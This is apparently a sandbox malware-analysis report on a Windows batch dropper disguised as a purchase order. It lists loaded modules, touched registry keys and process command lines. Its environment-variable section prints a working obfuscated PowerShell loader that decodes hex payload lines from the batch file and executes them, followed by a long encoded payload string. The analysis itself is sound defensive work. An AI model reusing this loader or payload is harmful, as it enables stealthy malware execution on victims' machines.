00000000-00008040.00000002.126276.F32B8000.00000002.mdmp "e\Software\C" in Source: 00000000-00008040.00000003.126649.317D0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008040.00000003.126649.317D0000.00000004.mdmp "Software\WOW6432N" in Source: 00000000-00008040.00000003.126649.4BF20000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008040.00000003.126649.4BF20000.00000004.mdmp "\Registry\Machine\Software\C" in Source: 00000000-00008040.00000003.126649.4BF20000.00000004.mdmp "735145574-\Registry\Machine\Software\Classes\WOW6432NH" in Source: 00000000-00008040.00000003.126649.4BF20000.00000004.mdmp31:T2d27,"cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb09010000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffb29420000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffb2b200000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb09010000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffb29420000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffb29110000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb28310000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb28310000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb28310000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffb13000000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffb297e0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb27570000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffb1f840000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffaf9820000 "powershell.exe" loaded module "USER32.DLL" at base 7ffb29840000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb28310000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffb130b0000 "powershell.exe" loaded module "NTDLL" at base 7ffb2b200000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffb294d0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffb28ff0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffaf8220000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffb28840000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffb294d0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffb28ad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffaf75b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffaf6b30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffb08850000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb269f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb27600000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffaf4ac0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffb294d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffb294d0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffb2b200000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffb29c70000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffb28a40000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffb28580000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffb28580000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffb28140000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffb125f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffb1f840000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffb12350000 "powershell.exe" loaded module "KERNEL32" at base 7ffb29420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\7AKG8J8Z.DLL" at base 7ffb089d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffb03680000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffb28140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffaf4950000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffaf3fe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffaf3b00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffaf3c70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffaf3250000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb28310000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffb03620000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffaf3100000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffaf3090000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffaf2f50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffaf2e70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffb047b0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffb1ec80000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffb27480000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffb26640000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb25b80000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffaf2d90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffb29420000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffb27450000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffb29110000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffb294d0000 "powershell.exe" loaded module "OLEAUT32" at base 7ffb28ad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffaf2080000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffb10a30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffaf1e40000 "powershell.exe" loaded module "USER32" at base 7ffb29840000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffb270b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffb27820000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffb118b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffb239e0000 "powershell.exe" loaded module "CSCAPI.DLL" at base 7ffb1a200000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffb18450000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffb18430000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\7AKG8J8Z.DLL" at base 7ffb13700000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffb04760000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffb038c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffb03750000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffaf4150000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffaf38a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffb089c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffaf3530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb03600000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffb046f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffaf3450000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffb046a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffaf3310000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffaf3230000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffaf2520000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffb136d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffaf22e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ffb1fae0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffb1b600000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffb28310000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffb28310000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffb1ba40000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ffb2942000032:Tb3f,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\PROGID") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\TREATAS") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "powershell.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "powershell.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Property Store over folder final" (Path: "HKCU\CLSID\{0340F119-A598-4ED9-B0AC-6F6A12D3E755}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "powershell.exe" touched "Wininet Cache task object" (Path: "HKCU\HKEY_CURRENT_USER\SOFTWARE\CLASSES\CLSID\{0358B920-0AC7-461F-98F4-58E32CD89148}")33:Tbf1,Observed system executable string:"CFSFAppDataRoamingMICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnkdesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\0]diWindowsE0]di.0]2kSystem32E0]2k.WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\0]diWindowsE0]di.0]2kSystem32E0]2k.WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS" [Source: KO3YYMRSPCNWAGYXECBG.temp] Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00005420-00000BC0-898440007] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00005420-00000BC0-898977585] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00005420-00000C47-2276127364] Observed system executable string:"%WINDIR%\system32\cmd.exe /c findstr /c:"&rem HRQFRTZEQZI" "C:\NewPO230824312.js.bat"" [Source: 00000000-00005420-00000C47-2276127364] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock" [Source: 00000000-00005420-00000C47-3569954284], Observed system executable string:"%WINDIR%\system32\cmd.exe /c findstr /c:"&rem XQCYS" "C:\NewPO230824312.js.bat"" [Source: 00000000-00005420-00000C47-9759600882], Observed system executable string:"%WINDIR%\system32\cmd.exe /c findstr /c:"&rem NRIQZEVLM" "C:\NewPO230824312.js.bat"" [Source: 00000000-00005420-00000C47-11987249700], Observed system executable string:"%WINDIR%\system32\cmd.exe /c findstr /c:"&rem KAAREKNHXD" "C:\NewPO230824312.js.bat"" [Source: 00000000-00005420-00000C47-13696005130], Observed system executable string:"%WINDIR%\system32\cmd.exe /c findstr /c:"&rem LMXEWQDMDBHGLT" "C:\NewPO230824312.js.bat"" [Source: 00000000-00005420-00000C47-15404112420], Observed system executable string:"%WINDIR%\system32\cmd.exe /c findstr /c:"&rem IBTMKMFJF" "C:\NewPO230824312.js.bat"" [Source: 00000000-00005420-00000C47-17650741066], Observed system executable string:"%WINDIR%\system32\findstr.exe" [Source: 00000000-00007724-00000C47-240930160], Observed system executable string:"%WINDIR%\System32\findstr.exe" [Source: 00000000-00007724-00000BC0-898896645], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock(" [Source: 00000000-00000412-00000C47-9152763280] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00008040-00000C2E-1758147584]34:T7142,Process "cmd.exe" (UID: 00000000-00007724) was launched with new environment variables: "CSEN="1xeph", XAHA="sPowerShell\v", XRVYWAFAL="$p=$env:QNHCMHYJO;if(-not $p){return};$h='';foreach($l in [IO.File]::('Read'+'AllLines')($p)){$i=$l.IndexOf('set '+[char]34+'ZYEJDS');if($i-ge0){$c=$l.Substring($i+11);if($c.EndsWith([char]34)){$c=$c.Substring(0,$c.Length-1)};$h+=$c}};$k=[int]$env:HHNX;$n=$h.Length/2;$b=New-Object byte[] $n;for($i=0;$i-lt$n;$i++){$b[$i]=[byte](([Convert]::('To'+'Byte')($h.Substring($i*2,2) 16)+256-$k)%256)};$env:ZMOEOOXVGV=[Text.Encoding]::UTF8.GetString($b)", ADIL="SRAH", JABQYU="-Command", USERDNSDOMAIN="DESKTOP-FVVF82A", IAUY="hell.exe", XTZT="y8incAgIdow7JBMsPr", LLHO="kPg\SyceusteD94mbmtso9MR32CYG\Wi5zLNNndyZv0owsOT", UWEWMRM="\sysnative\WindowsPowerShell\v1.0\powershell.exe", KNKZ="\System32\Windows", FHBR="iHsc-SvbNoPYGCM6rofl892il5vAn", JDGG="&rem", QNHCMHYJO="C:\NewPO230824312.js.bat", RXBW="PowerShell\v1.0\powers", HXEVPZMUL="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", JMCE="W8DP\poIlgYMAwersPbAihrksEYaylelllPLW.ex_5BRxesyCR", NCTK="\sysnative\Window", BFLV="Xl.dlwd1exeC", TIAXNJ="-NoProfile", RFRS="vilZ-rDy_pMComPhg0wsmaihKb8dendUeB", TKFN="UP2\sysjbnatlnkDPivy4Le\WUeu", HPKBF="\System32\WindowsPowerShell\v1.0\powershell.exe", HWAP="j42PoweYUULFr6PqShtZFEW4eA9QwZll\veOP1.0V6", GSKSAM="C:\WINDOWS", OIYY="pSowegcLzrrShVpellmGVjl\vZ", SRAH="241", LOHF="bF1.0dmJx\E8xdRpoEcH7NqwewGQY9rs7vhelFB", VBBANPBXE="SystemRoot", CCQL="l.exe", WQGY="e", XGGTHKXE="HRQFRTZEQZI", HWXS="JSyakkoDGOsteCwQjh2ymRouNXf8ot0nSW", FRLK="1.0\powershel", XSPIZREEX="&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))", HHNX="217", FPLN="-NoProfil"" Process "cmd.exe" (UID: 00000000-00007724) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00007724) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "powershell.exe" (UID: 00000000-00001708) was launched with new environment variables: "HRQFRTZEQZI="8583888ad5aeae9283ccd597909d8294cad5829283988185cbaeae9a9cae8298ccbf9486dcbe939b949285d1a59983949095989f96dfbc84859489d9d597909d8294ddd6bd9e92909dada5bdb5a0b5a8a0a7d6ddaa839497acd5aeae9283d8cad5aeae929e9f85ccd597909d8294ca9897d9d5949f87cbb0a9bcb3a1b2bcbed88ad5aeae929e9f85ccd5858384948cca9897d9dc9f9e85d1d5aeae9283d1dc909f95d1dc9f9e85d1d5aeae929e9f85d88a8583888ad5829283988185cbaeae9a9cae8298dfb59882819e8294d9d88c92908592998a8cca94899885d1c58cca8c92908592998a8cca8583888a9897d9dc9f9e85d9d6baa6d6dc9082aa85888194acd8d88ad5ae9a86b09fccbf9486dcbe939b949285d1a394979d949285989e9fdfb08282949c939d88bf909c94d9d6aebaa6d6d8cad5ae9a86b093ccaab08181b59e9c90989faccbcbb2848383949f85b59e9c90989fdfb59497989f94b5889f909c9892b08282949c939d88d9d5ae9a86b09fddaaa394979d949285989e9fdfb49c9885dfb08282949c939d88b384989d959483b09292948282accbcba3849fd8cad5ae9a86b59cccd5ae9a86b093dfb59497989f94b5889f909c9892bc9e95849d94d9d6aebaa6d6d8cad5ae9a86a593ccd5ae9a86b59cdfb59497989f94a5888194d9d6baa6d6ddaaa394979d949285989e9fdfa5888194b0858583989384859482acd6a184939d9892ddb29d908282d6d8cad5ae9a86bcb0ccaaa394979d949285989e9fdfbc9485999e95b0858583989384859482acd6a184939d9892dda28590859892dda1989f879e9a94b89c819dd6cad5ae9a86b2b2ccaaa394979d949285989e9fdfb2909d9d989f96b29e9f87949f85989e9f82accbcba285909f95908395cad5ae9a86b2b0ccaaa3849f85989c94dfb89f8594839e81a294838798929482dfb2909d9d989f96b29e9f87949f85989e9faccbcba6989f908198cad5ae9a86b2a2ccaaa3849f85989c94dfb89f8594839e81a294838798929482dfb2999083a29485accbcbb084859ecad5ae9a86b8a2ccaaa394979d949285989e9fdfbc9485999e95b89c819db0858583989384859482acd6a183948294838794a29896d6cad5ae9a86bcc0ccd5ae9a86a593dfb59497989f94a1b89f879e9a94bc9485999e95d9d6b7839494b29e9f829e9d94d6ddd69a94839f949dc2c3d6ddd6b7839494b29e9f829e9d94d6ddd5ae9a86bcb0ddd5ae9a86b2b2ddaa939e9e9dacddd59f849d9dddd5ae9a86b2b0ddd5ae9a86b2a2d8cad5ae9a86bcc0dfa29485b89c819d949c949f859085989e9fb79d909682d9d5ae9a86b8a2d8cad5ae9a86bcc3ccd5ae9a86a593dfb59497989f94a1b89f879e9a94bc9485999e95d9d6b69485b29e9f829e9d94a6989f959e86d6ddd69a94839f949dc2c3d6ddd6b69485b29e9f829e9d94a6989f959e86d6ddd5ae9a86bcb0ddd5ae9a86b2b2ddaab89f85a18583acddd59f849d9dddd5ae9a86b2b0ddd5ae9a86b2a2d8cad5ae9a86bcc3dfa29485b89c819d949c949f859085989e9fb79d909682d9d5ae9a86b8a2d8cad5ae9a86bcc2ccd5ae9a86a593dfb59497989f94a1b89f879e9a94bc9485999e95d9d6a2999e86a6989f959e86d6ddd684829483c2c3d6ddd6a2999e86a6989f959e86d6ddd5ae9a86bcb0ddd5ae9a86b2b2ddaa939e9e9dacddaa85888194aaacacb1d9aab89f85a18583acddaa989f85acd8ddd5ae9a86b2b0ddd5ae9a86b2a2d8cad5ae9a86bcc2dfa29485b89c819d949c949f859085989e9fb79d909682d9d5ae9a86b8a2d8cad5ae9a86bcc5ccd5ae9a86a593dfb59497989f94a1b89f879e9a94bc9485999e95d9d6a29485a6989f959e86a19e82d6ddd684829483c2c3d6ddd6a29485a6989f959e86a19e82d6ddd5ae9a86bcb0ddd5ae9a86b2b2ddaa939e9e9dacddaa85888194aaacacb1d9aab89f85a18583acddaab89f85a18583acddaa989f85acddaa989f85acddaa989f85acddaa989f85acddaa84989f85c2c3acd8ddd5ae9a86b2b0ddd5ae9a86b2a2d8cad5ae9a86bcc5dfa29485b89c819d949c949f859085989e9fb79d909682d9d5ae9a86b8a2d8caaa879e9895acd5ae9a86a593dfb28394908594a5888194d9d88ccad5aeae9286ccaabaa6accbcbb69485b29e9f829e9d94a6989f959e86d9d8ca9897d9d5aeae9286d1dc9f94d1aab89f85a18583accbcbab94839ed88aaa879e9895acaabaa6accbcba2999e86a6989f959e86d9d5aeae9286ddc1d8caaa879e9895acaabaa6accbcba29485a6989f959e86a19e82d9d5aeae9286ddaab89f85a18583accbcb9f9486d9dcc0d8ddc1ddc1ddc1ddc1ddc189c1c1c9c2d88cca8c92908592998a8cca9897d9d5949f87cbb0a9bcb3a1b2bcbed88a8583888ad5aeae9486ccbf9486dcbe939b949285d1a59983949095989f96dfb487949f85a6909885b9